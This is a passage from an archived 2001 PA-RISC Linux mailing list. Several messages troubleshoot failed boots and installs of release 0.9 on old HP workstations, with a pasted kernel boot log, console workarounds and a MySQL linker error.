Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10D85482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 16:43:06 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id RAA18859;
	Sun, 3 Jun 2001 17:44:33 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <20010603192902.L25745@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11219

On Sun, 3 Jun 2001, Richard Hirst wrote:
> On Sun, Jun 03, 2001 at 12:41:46PM -0500, djweis@sjdjweis.com wrote:
> > On Sun, 3 Jun 2001, Richard Hirst wrote:
> > > On Sun, Jun 03, 2001 at 08:33:23AM -0500, djweis@sjdjweis.com wrote:
> > > > I've got a D310 with a 100mhz processor and 128 megs of RAM. I trie=
d to
> > > > boot the ISO version 0.9 last night, but it crashed on boot. I can =
get the
> > > > exact error messages, it looked like a register dump.=20
> > > >=20

> Ah, I'd assumed it got as far as starting the kernel and then the
> kernel crashed.  In this case I think it has failed reading the
> CD.  Can you read the CD on some other system to check it burned
> ok?  Are you confident that the CD drive is P5 and is working?

Okay, I managed to get bootp and tftp set up enough to get an image over
the wire. It did get into the kernel after a while and here are the boot
messages:


Main Menu: Enter command > boot lan                                        =
     Interact with IPL (Y or N)?> n                                        =
                                                                           =
               Booting...                                                  =
                    Network Station Address 080009-ae8800                  =
                                                                           =
                              Boot IO Dependent Code (IODC) revision 2     =
                                                                           =
                                                                           =
                                             HARD Booted.                  =
                                                  palo ipl bame@palinux Fri=
 May 11 16:10:29 MDT 2001                              0/vmlinux 2622963 by=
tes @ 0x6800                                                0/palo-cmdline =
'0/vmlinux HOME=3D/ TERM=3Dlinux root=3D/dev/ram initrd=3D0/ramdisk cons'0/=
ramdisk 1678201 bytes @ 0x286df3                                           =
   Kernel: partition 0 file /vmlinux                                       =
        Ramdisk: partition 0 file /ramdisk                                 =
             ELF32 executable                                              =
                  Entry 00100000 first 00100000 n 4                        =
                       Segment 0 load 00100000 size 1469948 mediaptr 0x1000=
                            Segment 1 load 00268000 size 192312 mediaptr 0x=
168000                           Segment 2 load 00298000 size 221184 mediap=
tr 0x197000                           Segment 3 load 002fa7c8 size 73264 me=
diaptr 0x1cd7c8                            Loading ramdisk 1678201 bytes @ =
07e55000...                                     branching to kernel entry p=
oint 0x00100000                                      Set default PSW W bit =
to 0                                                      PDC Console Initi=
alized                                                         Linux versio=
n 2.4.0-pa10 (root@slab) (gcc version 3.0 20010315 (prerelease)) #11FP[0] e=
nabled: Rev 1 Model 13                                                   Th=
e 32-bit Kernel has started...                                             =
  =20
Determining PDC firmware type: Newer Box                                   =
     setup_cmdline(0x64cc4,0x64cc4,0x7e55000,0x7feeb79)                    =
          PALO command line: 'HOME=3D/ TERM=3Dlinux root=3D/dev/ram console=
=3DttyS0'              PALO initrd 7e55000-7feeb79                         =
                            model   00004840 00000481 00000000 00000000 773=
61cea 100000f0 00000004 000000722vers    0000000c                          =
                                      CPUID   vers 0 rev 0                 =
                                           model   9000/811/D310           =
                                                Total Memory: 128 Mb       =
                                                     initrd: 17e55000-17fee=
b79                                                       pagetable_init   =
                                                               On node 0 to=
talpages: 32768                                                     zone(0)=
: 32768 pages.                                                           zo=
ne(1): 0 pages.                                                            =
   zone(2): 0 pages.                                                       =
        Searching for devices...                                           =
             Found devices:                                                =
                  1. UL 550 Lasi Core BA (11) at 0xf0100000, versions 0x2f,=
 0x0, 0x81, 0x0, 0x0,  2. UL 550 Core SCSI (10) at 0xf0106000, versions 0x2=
f, 0x0, 0x82, 0x0, 0x0      3. UL 350 Core LAN (802.3) (10) at 0xf0107000, =
versions 0x2f, 0x0, 0x8a, 0x0, 004. UL 550 Core Centronics (10) at 0xf01020=
00, versions 0x2f, 0x0, 0x74, 0x0, 0x 5. UL 550 Core PC Keyboard (10) at 0x=
f0108000, versions 0x2f, 0x0, 0x84, 0x0, 006. UL 550 Core PC Keyboard (10) =
at 0xf0108100, versions 0x2f, 0x0, 0x84, 0x0, 007. UL 550 Core Wax BA (11) =
at 0xffe00000, versions 0x31, 0x0, 0x8e, 0x0, 0x0    8. UL 550 Wax Core RS-=
232 (10) at 0xffe02000, versions 0x31, 0x0, 0x8c, 0x0, 0x09. UL 550 Wax EIS=
A BA (11) at 0xfc000000, versions 0x31, 0x0, 0x90, 0x0, 0x0,   10. Gecko BO=
A BC GSC+ Port (7) at 0xfff80000, versions 0x500, 0x0, 0xc, 0x0, 0x011. Blu=
efish Add-on FW-SCSI (4) at 0xfff84000, versions 0x13, 0x1, 0x89, 0x0, 0012=
=2E Unknown device (0) at 0xfffbe000, versions 0x484, 0x0, 0x4, 0x0, 0x81  =
     13. UL Proc L 100 (1) at 0xfffbf000, versions 0x57, 0x0, 0x9, 0x0, 0x0=
          That's a total of 13 devices.                                    =
               CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz              =
                    Kernel command line: HOME=3D/ TERM=3Dlinux root=3D/dev/=
ram console=3DttyS0              Calibrating delay loop... 99.73 BogoMIPS  =
                                      Memory: 125076k available            =
                                           Dentry-cache hash table entries:=
 16384 (order: 5, 131072 bytes)                 Buffer-cache hash table ent=
ries: 4096 (order: 2, 16384 bytes)                   Page-cache hash table =
entries: 32768 (order: 5, 131072 bytes)                   Inode-cache hash =
table entries: 8192 (order: 4, 65536 bytes)                    POSIX confor=
mance testing by UNIFIX                                             Lasi ve=
rsion 0 at 0xf0100000 found.                                             Wa=
x at 0xffe00000 found.                                                     =
   Wax: HIL Keyboard-NMI registered.                                       =
        Wax EISA bus adapter version 0x5761 at 0xffe00000                  =
             Initializing Lasi PS/2-keyboard port at 0xf0108000...         =
                  Support for Lasi PS/2-psaux not yet available !          =
                       Found i82596 at 0xf0107000, IRQ 87                  =
                            early initialization of device eth0 is deferred=
                                 Linux NET4.0 for Linux 2.4                =
                                      Based upon Swansea University Compute=
r Society NET3.039                         Starting kswapd v1.8            =
                                                pty: 25<4>Lasi PS/2 transmi=
t buffer timeout                                     Lasi PS/2 transmit buf=
fer timeout                                                PS/2 transmit bu=
ffer timrequest_module[parport_lowlevel]: Root fs not mounted  lp: driver l=
oaded but no devices found                                          RAMDISK=
 driver initialized: 16 RAM disks of 4096K size 1024 blocksize           et=
h0: 82596 at 0xf0107000, 08 00 09 AE 88 00 IRQ 87.                         =
   82596.c $Revision: 1.18 $                                               =
        RAMDISK: Compressed image found at block 0                         =
             Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_=
IRQ SERIAL_PCI endttyS00 at iomem 0xffe02800 (irq =3D 121) is a 16550A     =
                                                                           =
                             =20


There doesn't seem to be linefeeds at the end of the line, I hope it
wraps correctly.

The mac address was read correctly. The ttyS00 line is the last thing to
be printed.

dave


--=20
Dave Weis             "I believe there are more instances of the abridgemen=
t
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent=20
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@buttafuoco.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .9 install problems on a 735
Date: Sun, 3 Jun 2001 19:04:41 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <200106032304.TAA28079@p2.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416620172 20285 80.91.229.3 (22 Nov 2014 01:36:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:12 +0000 (UTC)
To: Richard Hirst <rhirst@linuxcare.com>,
	Matthew Wilcox <matthew@wil.cx>, Jim Buttafuoco <jim@buttafuoco.org>,
	PARISC-LINUX Mailing List <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 17:05:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DD1E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 17:05:02 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA06566
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Jun 2001 16:57:39 -0600
Original-Received: (qmail 13331 invoked by uid 15267); 3 Jun 2001 23:04:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13298 invoked from network); 3 Jun 2001 23:04:57 -0000
Original-Received: from buttafuoco.mv.com (HELO p2.buttafuoco.net) (207.22.43.121)
  by mailserv2.iuinc.com with SMTP; 3 Jun 2001 23:04:57 -0000
Original-Received: (from nobody@localhost)
	by p2.buttafuoco.net (8.9.3/8.9.3) id TAA28079;
	Sun, 3 Jun 2001 19:04:41 -0400
X-Authentication-Warning: p2.buttafuoco.net: nobody set sender to jim@buttafuoco.org using -f
X-Mailer: NeoMail 1.24
X-IPAddress: 192.1.3.116
Xref: news.gmane.org gmane.linux.ports.parisc:11220

Just to let you know,  I attached a CDROM drive to my 735,  and went
through the install again.  This time I let it sit for about 5 hours. 
It seems to have finished.  I am currently working on the second part of
the install

I will keep you posted
Jim

> On Sun, Jun 03, 2001 at 08:20:40PM +0100, Matthew Wilcox wrote:
> > On Sat, Jun 02, 2001 at 07:16:35PM +0100, Richard Hirst wrote:
> > > I had it hang on my 715/old, because of problems with the
alignment
> > > of locks in glibc 2.2.1.  The installer is based on glibc 2.2.1 at
> > > the moment, although you would typically upgrade to glibc 2.2.3
> > > (which is also on the CD), after install.  That problem is
processor
> > > specific, and I wouldn't have expected it to affect the 735.
> > 
> > 715/scorpio is PCXT and so are the 735 and 755 workstations.  I'd
expect
> > them to have similar problems.
> 
> You're right, I should have checked the hw database.  Maybe those 3
should be
> in the same section on
http://parisc-linux.org/release-0.9/systems.html
> 
> Richard
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> 






From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Sun, 3 Jun 2001 22:38:14 -0500
Lines: 149
Approved: news@gmane.org
Message-ID: <01060322312700.08633@wolf01.morethan.org>
References: <20010601030203.EE8B937EF8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620173 20288 80.91.229.3 (22 Nov 2014 01:36:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 21:42:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (unknown [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A11F486B
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 21:42:44 -0600 (MDT)
Original-Received: from wolf01.morethan.org (ppp36.cc1.pflash.com [63.121.24.38]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005275740@vopserver.pflash.com> for <parisc-linux@parisc-linux.org>;
 Sun, 3 Jun 2001 22:37:07 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11221

Hi Folks -
Sub-Title this one: Adventures in running V0.9 on a HP9000/720 box:

1) I had been working with V0.6 and CVS snapshot of 05/25/2001 when this =
notice arrived.
Great - Gotta get that! -- 18 hours later, got it.  (very slow modem conn=
ection to a backwoods ISP).
2) Now make some working room - throw out (almost) all of that old stuff.
3) Mount new ISO image - What, no new ISO image! *&^%$#$%=20

V0.9 ISO - Test one: it deletes just fine.
Now repeat step 1).

xx hours later - it's here (I will not delete this copy, I know that work=
s).

Now, will it run "out of the box" - well, out of the things in the ISO an=
yway?

V0.9 ISO - Test two: Nope, not on a Model 720

Ok, so will it build "out of the box" and then run?

V0.9 ISO - Test three: Nope - the /devel directory is gone.

4) Turn loose ncFTP daemon clinet loose on cvs - get current snapshots,=20
being optimistic - get the new (hppa) native stuff also.

5) Meanwhile - what things of possible use can I say, well there are some=
 similarities
between the "boxed" 32STI vmlinux and what I have found to date:

File: linux/arch/parisc/kernel/setup.c
Function: void __init setup_console....
Approx. lines 332-335
=09printk ->
=09arg[0] -> free_memory start
=09arg[1] -> passed command line (from palo/ipl/ipl.c - Funciton: static =
void join
=09arg[2] -> initrd start
=09arg[3] -> initrd end
The values shown for arg[0] and arg[1] are the same - does this indicate =
a problem?
The passed command line (after copy from arg[1]) prints correctly.

File: linux/drivers/char/console.c
Function: void __init con_init
Approx. lines 2455-2457
=09call to register_console appears to never return -=20
The 9000/720 (at least mine) has a SGC display reported by the inventory =
list.
Changing the passed command line (with IPL editor) to: console=3DttyB
(which specifies the PDC console functions) seems to by-pass the above co=
de
and things proceed until this kernel gets into the same troubles that I w=
as working on:

I had been trouble shooting a number of different things in the LASI-SEM7=
00 scsi
driver for the 53c7xx (yes, the 9000/720 has the oldest controller availa=
ble).

The driver was reporting "unable to obtain consistant DMA memory" - among=
 other
strange and mysterious things.
Only recently did I notice that the ethernet driver is reporting the same=
 thing -

The printer port driver is reporting (interrupt driven mode) - is the pri=
nter port on
the 720 DMA capable?

So my next step will be to quit looking only at the SCSI driver and start=
 looking=20
for something common to the same problem reports from two different drive=
rs.

Note: All work is being done XC(x86) - the 720 disk was wiped clean befor=
e I got the
machine.  So I have to get it running before I can trouble shoot why it i=
sn't running=20
with the native mode toolset.

Yes - I am using the most recent XC-... things available from your site.

Any suggestions?
HELP !?!

PS: Is any work being done at the work station end?  Such as an 80960 X-c=
lient?  This
system came with two workstations - a HP 700/RX (model C2708A) and a HP
Envizex, aSeries (model C2731A).

PPS: A note on used equipment - I know this system was working (under HP-=
UX)
until it was shut down, the day before I bought it from a second-hand sto=
re.

Mike


On Thu, 31 May 2001, Matt Taggart wrote:
> Version 0.9 of PA-RISC Linux Released
>=20
> On May 31, 2001 the PA-RISC Linux development community released versio=
n
> 0.9, the latest version of Linux for computers using Hewlett Packard's
> PA-RISC processor. This release is the result of several years of work =
by
> developers in the Free Software community including developers from The
> Debian Project, Hewlett Packard, and Linuxcare.
>=20
> - Latest Debian Installer=20
> - Support for 32 and 64 bit systems=20
> - Over 4000 Debian packages=20
> - Full development environment=20
> - Support for large memory (up to 16GB)
> - Ability to use Debian's apt tool to update to the latest
>     package versions
>=20
> The 0.9 release install CDROM images and related documentation can be f=
ound at
>=20
> http://parisc-linux.org/release-0.9/
>=20
> Information about PA-RISC Linux is available at
>=20
> http://parisc-linux.org/
>=20
> Any questions or comments about the release should be directed to the
> mailing list at
>=20
> parisc-linux@parisc-linux.org
>=20
> --=20
> Matt Taggart        Linux Development Lab
> taggart@fc.hp.com   HP Linux Systems Operation
>=20
>=20
>=20
>=20
>=20
> -- =20
> To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debi=
an.org




From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC 0.9 release problem
Date: Mon, 4 Jun 2001 07:40:53 +0100 (BST)
Lines: 10
Approved: news@gmane.org
Message-ID: <E156o2n-00059p-00@the-village.bc.nu>
References: <01060322312700.08633@wolf01.morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620173 20292 80.91.229.3 (22 Nov 2014 01:36:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: mszick@pflash.com (Michael S.Zick)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 00:42:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81C9A482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 00:42:38 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 156o2n-00059p-00; Mon, 04 Jun 2001 07:40:53 +0100
In-Reply-To: <01060322312700.08633@wolf01.morethan.org> from "Michael S.Zick" at Jun 03, 2001 10:38:14 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11222

I hit one fundamental problem...

The CD dumps you into a pseudo gui interface which is not compatible with
the web console HP29xx emulation...

Alan





From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Your 20-May-2001: Problems booting...
Date: Mon, 4 Jun 2001 02:09:32 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <01060402282900.09662@wolf01.morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620173 20296 80.91.229.3 (22 Nov 2014 01:36:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: tomh@execpc.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 01:29:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92F11482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Jun 2001 01:29:23 -0600 (MDT)
Original-Received: from wolf01.morethan.org (ppp36.cc1.pflash.com [63.121.24.38]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005278500@vopserver.pflash.com>;
 Mon, 4 Jun 2001 02:24:22 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11223

HI -
I am new to this list, so am only now seeing your message.
Try this:
Manually boot - choosing the "boot xxxxx IPL" option.
Use the editor on the command line to make the following change:
console=3Dtty
to
console=3DttyB

That will by-pass the problem code (at least it does on my 9000/720) -
=3DttyB is 'magic' meaning to use the PDC console code.

The above change gets through the entire boot process - then locks
with "unable to open console device" message.  Which I believe just
means that /dev needs an entry for the ttyB device.  Perhaps, also a
new entry in /etc/inittab for the ttyB device.

If anyone knows what entry(s) is required to allow the ttyB console to be
used - please advise.

PS: I know how to edit the ramdisk image - just don't know what=20
entries to make.

In addition, a suggestion to the planners:
How about leaving all the access to the old PDC drivers in the code
and ramdisk images until V12.0 of pa-risc/linux so that people can
get past broken, new, code?

Mike




From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: diab <diab@diab.rulez.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dpkg-utils, ./configure --host, mysql3.23
Date: Mon, 4 Jun 2001 12:19:02 +0200 (CEST)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106041203450.21361-100000@droid3.webreklam.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620174 20298 80.91.229.3 (22 Nov 2014 01:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 04:19:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from droid3.webreklam.hu (para.abs0lut.com [195.56.113.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 732FB482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 04:19:03 -0600 (MDT)
Original-Received: from localhost (diab@localhost)
	by droid3.webreklam.hu (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA21589
	for <parisc-linux@parisc-linux.org>; Mon, 4 Jun 2001 12:19:02 +0200
X-Sender: diab@droid3.webreklam.hu
Xref: news.gmane.org gmane.linux.ports.parisc:11224

just tried to apt-get source wget to make a debianized version of it, but
dpkg-utils (which contains dpkg-source) depends on perl5 which is not
installed. this way it is kind of hard to simply make debs using the
usual apt-get source approach.

anyways i found the older ./configure -s (which displays unknown host
type) will just run fine using --host=hppa-pc-linux-gnu or
hppa-hp-linux-gnu.

still no luck compiling mysql 3.23.38 so far :( i tried with different
options, but in /client (which is quite "far" from the beginning, i mean
lotsa compiling succeeds) i just keep getting:

snowball:/usr/local/src/mysql-3.23.38/client# make
/bin/sh ../libtool --mode=link gcc  -O3 -DDBUG_OFF
-fno-implicit-templates -rdynamic -o mysql  mysql.o readline.o
sql_string.o completion_hash.o -lreadline -lncurses
../libmysql/libmysqlclient.la  -lcrypt -lnsl -lm 
gcc -O3 -DDBUG_OFF -fno-implicit-templates -rdynamic -o .libs/mysql
mysql.o readline.o sql_string.o completion_hash.o -lreadline -lncurses
../libmysql/.libs/libmysqlclient.so -lcrypt -lnsl -lm -lcrypt -lnsl -lm
-Wl,--rpath -Wl,/usr/local/lib/mysql
mysql.o: In function `add_line(String&, char*, char*)':
mysql.o(.text+0x1d50): undefined reference to `std::terminate()'
/usr/bin/ld: mysql.o(.text+0x1d50): cannot find stub entry
00000014__ZSt9terminatev+0
/usr/bin/ld: mysql.o(.text+0x1d50): cannot handle R_PARISC_PCREL17F for
std::terminate()
mysql.o: In function `L948':
mysql.o(.text+0x31e8): undefined reference to `std::terminate()'
/usr/bin/ld: mysql.o(.text+0x31e8): cannot find stub entry
00000014__ZSt9terminatev+0
/usr/bin/ld: mysql.o(.text+0x31e8): cannot handle R_PARISC_PCREL17F for
std::terminate()
collect2: ld returned 1 exit status
make: *** [mysql] Error 1

any1 has an idea what can i do to make it work? i tried --without-readline
(as it seems this error might be around readline) but no luck with the
built in libreadline*so so far.

the other thing is: it seems that this list is rather
hardware/kernel/low level programming oriented, not dealing w/ 
software issues that much.
if this is the case, which is the best list to discuss sw issues?

regards,

--
diab 
		





From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failed boot on D310
Date: Mon, 4 Jun 2001 11:39:48 +0100
Lines: 142
Approved: news@gmane.org
Message-ID: <20010604113948.W25745@linuxcare.com>
References: <20010603192902.L25745@linuxcare.com> <Pine.LNX.4.21.0106031741030.18856-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620174 20306 80.91.229.3 (22 Nov 2014 01:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 04:44:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCB29482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 04:44:39 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id ABA88B007; Mon,  4 Jun 2001 11:39:48 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106031741030.18856-100000@oliver.internal.sjdjweis.com>; from djweis@sjdjweis.com on Sun, Jun 03, 2001 at 05:44:33PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11225

On Sun, Jun 03, 2001 at 05:44:33PM -0500, djweis@sjdjweis.com wrote:
> 
> On Sun, 3 Jun 2001, Richard Hirst wrote:
> > On Sun, Jun 03, 2001 at 12:41:46PM -0500, djweis@sjdjweis.com wrote:
> > > On Sun, 3 Jun 2001, Richard Hirst wrote:
> > > > On Sun, Jun 03, 2001 at 08:33:23AM -0500, djweis@sjdjweis.com wrote:
> > > > > I've got a D310 with a 100mhz processor and 128 megs of RAM. I tried to
> > > > > boot the ISO version 0.9 last night, but it crashed on boot. I can get the
> > > > > exact error messages, it looked like a register dump. 
> > > > > 
> 
> > Ah, I'd assumed it got as far as starting the kernel and then the
> > kernel crashed.  In this case I think it has failed reading the
> > CD.  Can you read the CD on some other system to check it burned
> > ok?  Are you confident that the CD drive is P5 and is working?
> 
> Okay, I managed to get bootp and tftp set up enough to get an image over
> the wire. It did get into the kernel after a while and here are the boot
> messages:

I've untangled the formatting to make them more readable:

Main Menu: Enter command > boot lan
Interact with IPL (Y or N)?> n                                                 
Booting...
Network Station Address 080009-ae8800                                          
Boot IO Dependent Code (IODC) revision 2                                       

HARD Booted.
palo ipl bame@palinux Fri May 11 16:10:29 MDT 2001
/vmlinux 2622963 bytes @ 0x6800
/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/ram initrd=0/ramdisk cons'0/ramdisk 1678201 bytes @ 0x286df3
Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1469948 mediaptr 0x1000
Segment 1 load 00268000 size 192312 mediaptr 0x168000
Segment 2 load 00298000 size 221184 mediaptr 0x197000
Segment 3 load 002fa7c8 size 73264 mediaptr 0x1cd7c8
Loading ramdisk 1678201 bytes @ 07e55000...
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
PDC Console Initialized
Linux version 2.4.0-pa10 (root@slab) (gcc version 3.0 20010315 (prerelease)) #11
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...                                              
Determining PDC firmware type: Newer Box
setup_cmdline(0x64cc4,0x64cc4,0x7e55000,0x7feeb79)
PALO command line: 'HOME=/ TERM=linux root=/dev/ram console=ttyS0'
PALO initrd 7e55000-7feeb79
model   00004840 00000481 00000000 00000000 77361cea 100000f0 00000004 000000722
vers    0000000c
CPUID   vers 0 rev 0
model   9000/811/D310
Total Memory: 128 Mb
initrd: 17e55000-17feeb79
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. UL 550 Lasi Core BA (11) at 0xf0100000, versions 0x2f, 0x0, 0x81, 0x0, 0x0,
2. UL 550 Core SCSI (10) at 0xf0106000, versions 0x2f, 0x0, 0x82, 0x0, 0x0
3. UL 350 Core LAN (802.3) (10) at 0xf0107000, versions 0x2f, 0x0, 0x8a, 0x0, 00
4. UL 550 Core Centronics (10) at 0xf0102000, versions 0x2f, 0x0, 0x74, 0x0, 0x
5. UL 550 Core PC Keyboard (10) at 0xf0108000, versions 0x2f, 0x0, 0x84, 0x0, 00
6. UL 550 Core PC Keyboard (10) at 0xf0108100, versions 0x2f, 0x0, 0x84, 0x0, 00
7. UL 550 Core Wax BA (11) at 0xffe00000, versions 0x31, 0x0, 0x8e, 0x0, 0x0
8. UL 550 Wax Core RS-232 (10) at 0xffe02000, versions 0x31, 0x0, 0x8c, 0x0, 0x0
9. UL 550 Wax EISA BA (11) at 0xfc000000, versions 0x31, 0x0, 0x90, 0x0, 0x0,
10. Gecko BOA BC GSC+ Port (7) at 0xfff80000, versions 0x500, 0x0, 0xc, 0x0, 0x0
11. Bluefish Add-on FW-SCSI (4) at 0xfff84000, versions 0x13, 0x1, 0x89, 0x0, 00
